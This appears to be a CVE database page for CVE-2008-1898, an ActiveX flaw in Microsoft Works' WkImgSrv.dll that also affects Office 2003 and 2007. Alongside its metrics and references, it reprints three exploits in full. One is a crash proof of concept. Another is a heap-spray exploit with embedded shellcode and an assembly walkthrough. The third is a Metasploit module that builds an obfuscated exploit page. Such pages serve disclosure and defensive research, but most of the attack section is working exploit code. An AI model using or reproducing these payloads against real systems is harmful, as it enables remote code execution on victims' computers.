CVE-2008-1898
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CVE Descriptions
A certain ActiveX control in WkImgSrv.dll 7.03.0616.0, as distributed in Microsoft Works 7 and Microsoft Office 2003 and 2007, allows remote attackers to execute arbitrary code or cause a denial of service (browser crash) via an invalid WksPictureInterface property value, which triggers an improper function call.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Input Validation The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C | [email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 5460
Publication date : 2008-04-16 22h00 +00:00
Author : Shennan Wang
EDB Verified : Yes
<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll crash POC</title>
<script language="JavaScript">
function payload() {
var num = -1;
obj.WksPictureInterface = num;
}
</script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>
# milw0rm.com [2008-04-17]
Exploit Database EDB-ID : 5530
Publication date : 2008-05-01 22h00 +00:00
Author : lhoang8500
EDB Verified : Yes
<!--
The problem is in wkimgsrv.dll module shipped with many MS Offiice
Suite (tested on MS OF 2003,MS OF 2007)
Actually,this is not the case of buffer overflow attack,just a exploit
of insecure method WKsPictureInterface.
Setting this point to any where in memory and IE will crash when
wkiimgsrv's trying to access an invalid memory location.
Let's get into detail :
00D473BD PUSH EBP ;
Begin of Set WksPictureInterface method
00D473BE MOV EBP,ESP
00D473C0 SUB ESP,1C
00D473C3 MOV EAX,DWORD PTR SS:[EBP+C] ; Move paramater to EAX
00D473C6 PUSH ESI
00D473C7 TEST EAX,EAX ; Checking whether
EAX is NULL
00D473C9 JNZ SHORT wkimgsrv.00D473D5 ; OK,if it is not null continue
00D473CB MOV EAX,80004005 ;
00D473D0 JMP wkimgsrv.00D47456 ;No,it's is NULL,exit method
00D473D5 ==> MOV ESI,DWORD PTR SS:[EBP+8] ; Do some other stuffs, we don't care
00D473D8 LEA EDX,DWORD PTR SS:[EBP-1C] ;
00D473DB PUSH EDX
00D473DC PUSH EAX
00D473DD MOV DWORD PTR DS:[ESI+2A0],EAX ; =============
00D473E3 ==> MOV ECX,DWORD PTR DS:[EAX] ; Here is the
problem,the data stored by EAX is referenced and moved into ECX
00D473E5 CALL DWORD PTR DS:[ECX+30] ;Next the address
in some struct pointed by ECX is called
Now if we're able to setup memory satisfied :
Create a struct in memory where the first DWORD in the struct point to
itself and the DWORD at offset 0x30 from struct address is point to
our shellcode.
We should be able to exploit this vulnerability.
This seem to be nightmare because there is nothing to inject except an
integer as paramater for the method.
Fortunately we have prefered heapspray method
Howerver we can't spray with nop (0x90 ) anymore(if this happens, all
address will be 90909090 which is invalid address) ,
The addresses and byte to spray must comply some restrictions
- Byte to spray must be single byte length instruction (or somewhat
that not change execution of the program or causing exception)
- Combination of 4 byte must refer to valid memory address which will
point to it self.
I have chosen 0x0A to spay on IE 7, and 0x05 to spay on IE 6. In
Internet Explorer 7 the number passes to method is 168430090 which is
0x0A0A0A0A in
hexa mode.Let's assume that we has fill 0x0A into memory at
0x0A0A0A0A. EAX will hold value of 0x0A0A0A0A.
Mov ECX,DWORD PTR DS:[EAX] ;=> ECX= 0x0A0A0A0A
CALL DWORD DTR DS:[ECX+30] ;=> CALL DWORD DTR:[0x0A0A0A3A] => CALL 0x0A0A0A0A
Memory at 0x0A0A0A0A is filled with 0x0A ~ instruction is OR CL,BYTE
PTR DS:[EDX]
Fortunately this hadn't caused exception and not changed execution
path of our shellcode
Shellcode should be executed as expected(calc will be opened).
-->
<html>
<head>
<title>Microsoft Works 7 WkImgSrv.dll Exploit</title>
Coded by lhoang8500
lhoang8500[at]gmail[dot]com
BKIS Center - Vietnam
<SCRIPT language="javascript">
var heapSprayToAddress = 0x0A0A0A0A;
var payLoadCode =
unescape("%u9090%u9090%u9090%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var heapBlockSize = 0x400000;
var payLoadSize = payLoadCode.length * 2;
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);
var spraySlide = unescape("%u0A0A%u0A0A");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i] = spraySlide + payLoadCode;
}
function getSpraySlide(spraySlide, spraySlideSize)
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}
</script>
<script language="JavaScript">
function payload() {
var num = 168430090;
obj.WksPictureInterface = num;
}
</script>
</head>
<body onload="JavaScript: return payload();">
<object classid="clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6" id="obj">
</object>
</body>
</html>
# milw0rm.com [2008-05-02]
Exploit Database EDB-ID : 16649
Publication date : 2010-09-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: msworks_wkspictureinterface.rb 10477 2010-09-25 11:59:02Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() ActiveX Exploit',
'Description' => %q{
The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a remote attacker
to execute arbitrary code on a system. By passing a negative integer to the
WksPictureInterface method, an attacker could execute arbitrary code on the system
with privileges of the victim. Change 168430090 /0X0A0A0A0A to 202116108 / 0x0C0C0C0C FOR IE6.
This control is not marked safe for scripting, please choose your attack vector carefully.
},
'License' => MSF_LICENSE,
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],
'Version' => '$Revision: 10477 $',
'References' =>
[
[ 'CVE','2008-1898' ],
[ 'OSVDB', '44458'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2-SP3 IE 7.0', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Nov 28 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']),
], self.class)
end
def exploit
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.to_unescape([target.ret].pack('L'))
# Randomize the javascript variable names.
vname = rand_text_alpha(rand(10) + 1)
var_i = rand_text_alpha(rand(10) + 1)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
content = %Q|
<html>
<object id='#{vname}' classid='clsid:00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6'></object>
<body>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape('#{ret}');
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x10000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 1000; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
#{vname}.WksPictureInterface = 168430090;
</script>
</body>
</html>
|
print_status("Creating HTML file ...")
file_create(content)
end
end
Products Mentioned
Configuraton 0
Microsoft>>Office >> Version 2003
- Microsoft>>Office >> Version 2003 (Open CPE detail)
- Microsoft>>Office >> Version 2003 (Open CPE detail)
- Microsoft>>Office >> Version 2003 (Open CPE detail)
- Microsoft>>Office >> Version 2003 (Open CPE detail)
- Microsoft>>Office >> Version 2003 (Open CPE detail)
- Microsoft>>Office >> Version 2003 (Open CPE detail)
- Microsoft>>Office >> Version 2003 (Open CPE detail)
Microsoft>>Office >> Version 2007
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
- Microsoft>>Office >> Version 2007 (Open CPE detail)
Microsoft>>Works >> Version 7.0
- Microsoft>>Works >> Version 7.0 (Open CPE detail)
References
http://blogs.technet.com/swi/archive/2008/06/05/why-there-wont-be-a-security-update-for-wkimgsrv-dll.aspx
Tags : x_refsource_MISC
Tags : x_refsource_MISC
http://archives.neohapsis.com/archives/fulldisclosure/2008-05/0029.html
Tags : mailing-list, x_refsource_FULLDISC
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/archive/1/491027/100/0/threaded
Tags : mailing-list, x_refsource_BUGTRAQ
Tags : mailing-list, x_refsource_BUGTRAQ
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